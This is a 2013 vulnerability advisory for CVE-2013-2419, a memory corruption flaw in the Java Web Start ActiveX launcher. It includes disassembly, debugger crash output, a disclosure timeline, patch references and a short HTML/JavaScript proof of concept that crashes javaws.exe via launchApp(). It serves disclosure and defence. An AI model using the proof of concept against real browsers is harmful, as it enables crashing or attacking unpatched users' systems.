Java Web Start Launcher Memory Corruption

`SEC Consult Vulnerability Lab Security Advisory < 20130417-1 >  
=======================================================================  
title: Java ActiveX Control Memory Corruption  
product: Java(TM) Web Start Launcher  
vulnerable version: Sun Java Version 7 Update 17 and before  
Sun Java Version 6 Update 43 and before  
Sun Java Version 5.0 Update 41 and before  
fixed version: Patch information see sections below  
CVE: CVE-2013-2419  
impact: medium  
homepage: http://www.java.com/  
found: 2012-11-13  
by: A. Antukh  
SEC Consult Vulnerability Lab  
https://www.sec-consult.com  
=======================================================================  
  
Vendor description:  
-------------------  
"To date, the Java platform has attracted more than 9 million software  
developers. It's used in every major industry segment and has a presence  
in a wide range of devices, computers, and networks.  
  
Java technology's versatility, efficiency, platform portability, and  
security make it the ideal technology for network computing. From laptops  
to datacenters, game consoles to scientific supercomputers, cell phones to  
the Internet, Java is everywhere!"  
  
Source: http://www.java.com/en/about/  
  
  
Vulnerability overview/description:  
-----------------------------------  
Memory corruption vulnerability exists in the launchApp() method of the  
deployJava1.dll which is loaded by Internet Explorer and used to launch  
javaws.exe with provided arguments. The second (optional) parameter that  
is responsible for embedded data is checked improperly, which causes memory  
corruption and reading from arbitrary address if specific conditions are met.  
  
Successful exploitation of this vulnerability could potentially result in  
an arbitrary code execution within the Java(TM) Web Start Launcher or cause  
the application to crash.  
  
  
Vulnerability details:  
-----------------  
The launchApp() method expects the following arguments: *pJNLP, *pEmbedded  
(optional) and *pVmArgs (optional). Providing a single wrong *pJNLP argument  
causes an application to prompt an error message and exit. However, if an  
attacker provides the second argument, it will be checked before quitting.  
  
The function responsible for processing an auto-generated temp file containing  
input args is the following:  
  
.text:0040560F push eax ; size of input data  
.text:00405610 push esi ; malcrafted string  
.text:00405611 call tmp_processing  
  
If the input length doesn't satisfy condition of bitwise AND, the function  
returns zero and exits:  
  
.text:0040950B mov edx, [ebp+arg_4]  
.text:0040950E test dl, 3 ; if size satisfies condition   
.text:00409511 jz short loc_409517 ; jump to processing  
.text:00409513 xor eax, eax ; otherwise return 0 and exit  
.text:00409515 leave  
.text:00409516 retn  
  
The returned data is used later to write from, causing an access violation:  
  
.text:00405611 call tmp_processing  
.text:00405616 mov esi, eax  
...  
(cc0.9fc): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=00155a10 ebx=00000000 ecx=00000008 edx=ffd21610 esi=00000000 edi=00000001  
eip=00402a0d esp=0012e6a8 ebp=0012e734 iopl=0 nv up ei pl nz na po nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202  
javaws+0x2a0d:  
00402a0d 8b86cc000000 mov eax,dword ptr [esi+0CCh] ds:0023:000000cc=????????  
  
However, if the size fits the condition of bitwise AND, the program flow  
continues. The memory of input string length size is allocated:  
  
.text:00409547 push eax ; size_t  
.text:00409548 mov [ebp+var_4], ecx  
.text:0040954B call _malloc  
  
First WORD of the malformed string is taken and compared to 3Dh (equal sign '=')  
to ignore it. If the WORD is not equal to 3Dh, data from the calculated offset from  
input string is read.  
  
.text:00409571 cmp ecx, 3Dh  
.text:00409574 jnz short crash_place  
.text:00409576 xor ecx, ecx  
.text:00409578 jmp short loc_409582  
.text:0040957A ; ---------------------------------------------------------------------------  
.text:0040957A  
.text:0040957A crash_place: ; CODE XREF: tmp_processing+97j  
.text:0040957A movzx ecx, word_445670[ecx*2]  
  
If the resulting offset points to unallocated memory, an access violation  
exception is thrown:  
  
eax=001542a0 ebx=001559f8 ecx=0000aaee edx=00000000 esi=00000000 edi=001558c8  
eip=0040957a esp=0012e650 ebp=0012e668 iopl=0 nv up ei pl nz na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206  
javaws+0x957a:  
0040957a 0fb70c4d70564400 movzx ecx,word ptr javaws+0x45670 (00445670)[ecx*2] ds:0023:0045ac4c=????  
  
When carefully calculated, this could potentially lead to arbitrary code  
execution.  
  
The following PoC code can be used to test this vulnerability. It will crash the  
javaws.exe process when opened in Internet Explorer.  
  
<HTML>  
<HEAD>  
<TITLE>Java ActiveX component memory corruption</TITLE>  
</HEAD>  
<BODY>  
<OBJECT id='javaws' classid='clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA'></object>  
<SCRIPT>  
function Exploit(){  
var dword=unescape("%uAAAA%uBBBB");  
for( mem = ""; mem.length<0x2F; mem +=dword );  
javaws.launchApp(mem,mem,mem);  
}  
Exploit();  
</SCRIPT>  
</BODY>  
</HTML>  
  
  
Vulnerable / tested versions:  
-----------------------------  
The vulnerability has been verified to exist in Java(TM) Platform SE 7 U9,  
which was the most recent version at the time of discovery.  
  
  
Vendor contact timeline:  
------------------------  
2012-11-16: Contacted vendor through [email protected]  
2012-11-17: Initial vendor response - issues will be verified  
2012-11-30: Vulnerability is confirmed and reproduced by the vendor  
2013-02-25: Under investigation / Being fixed in main codeline  
2013-03-26: Issue fixed in main codeline, scheduled for a future CPU  
2013-04-13: Oracle: Advisory and patches will be released on 2013-04-16  
2013-04-16: Oracle releases April 2013 CPU  
2013-04-17: Public release of SEC Consult advisory  
  
  
Solution:  
---------  
Apply latest patches, see:  
http://www.oracle.com/technetwork/topics/security/javacpuapr2013-1928497.html  
  
  
Workaround:  
-----------  
No workaround is available.  
  
  
Advisory URL:  
-------------  
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm  
  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
SEC Consult Unternehmensberatung GmbH  
  
Office Vienna  
Mooslackengasse 17  
A-1190 Vienna  
Austria  
  
Tel.: +43 / 1 / 890 30 43 - 0  
Fax.: +43 / 1 / 890 30 43 - 25  
Mail: research at sec-consult dot com  
https://www.sec-consult.com  
  
EOF A. Antukh / @2013  
  
  
`